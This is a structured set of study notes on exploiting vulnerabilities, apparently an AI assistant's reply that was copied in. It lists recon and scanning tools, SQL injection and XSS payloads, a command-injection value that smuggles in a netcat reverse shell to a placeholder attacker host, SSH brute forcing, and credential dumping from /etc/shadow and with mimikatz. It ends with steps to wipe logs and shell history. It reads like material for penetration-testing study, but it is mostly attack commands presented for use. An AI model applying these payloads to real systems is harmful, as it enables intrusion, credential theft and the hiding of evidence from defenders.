1. How to exploit Vulnerabilities .

Got it! Here's a structured breakdown for your notes on **how to exploit vulnerabilities** in cybersecurity.

How to Exploit Vulnerabilities

1. Understanding the Target

Before exploitation, gather intelligence:

- **Reconnaissance:** Use tools like `nmap`, `whois`, and `theHarvester` to gather information about the target.
- **Fingerprinting:** Identify OS, services, and versions with `nmap -sV`, `whatweb`, and `Wappalyzer`.
- **Enumerate Users & Directories:**
  - SMB: `enum4linux`, `smbmap`
  - Web: `gobuster`, `dirb`

2. Identify Vulnerabilities

Once the system is mapped, check for known weaknesses:

- **Manual Testing:** Review source code, try basic injections.
- **Automated Scanning:** Use `nikto`, `OpenVAS`, `Nessus`, or `Burp Suite` for web apps.
- **Exploit Databases:** Search `exploit-db`, `CVE` database, and `searchsploit`.

3. Exploitation Techniques

A. Web Exploitation

- **SQL Injection (SQLi):**
  - `' OR '1'='1' --` (Bypasses login forms)
  - `UNION SELECT 1,2,3,...` (Extracts data)
  - Use `sqlmap -u "http://target.com?id=1" --dbs` for automation.
- **Cross-Site Scripting (XSS):**
  - Inject JavaScript to steal cookies or deface pages.
  - Example: `<script>alert('XSS!')</script>`
  - Use `Burp Suite` to manipulate requests.
- **Command Injection:**

- Bypass input sanitization to execute OS commands:

```
http://target.com?cmd=whoami
&& cat /etc/passwd
```

- Example payload: `; nc -e /bin/bash attacker_ip port`

B. Network Exploitation

- **Brute Force Attacks:**
  - `hydra -l admin -P passwords.txt ssh://target-ip`
  - Test weak credentials on services like FTP, SSH, and RDP.
- **Man-in-the-Middle (MITM):**
  - ARP poisoning with `ettercap` or `bettercap`.
  - Sniff traffic using `Wireshark` or `tcpdump`.
- **Buffer Overflow:**
  - Overwriting memory by injecting excessive input.
  - Debugging with `gdb`, crafting payloads with `msfvenom`.

C. Privilege Escalation

- **Linux:**
  - Find `SUID` binaries: `find / -perm -u=s -type f 2>/dev/null`
  - Exploit misconfigured sudo privileges: `sudo -l`
- **Windows:**
  - Check unquoted service paths.
  - Exploit DLL hijacking or token impersonation.

D. Post Exploitation & Persistence

- **Extract Credentials:**
  - Linux: `cat /etc/shadow`
  - Windows: `mimikatz` for dumping credentials.
- **Backdoors & Persistence:**
  - Create a reverse shell:

```
nc -e /bin/bash attacker_ip port
```

  - Add a new user or modify startup scripts.

4. Covering Tracks

- Clear logs:
  - Linux: `echo > /var/log/auth.log`
  - Windows: `wevtutil cl System`
- Delete shell history: `history -c && exit`
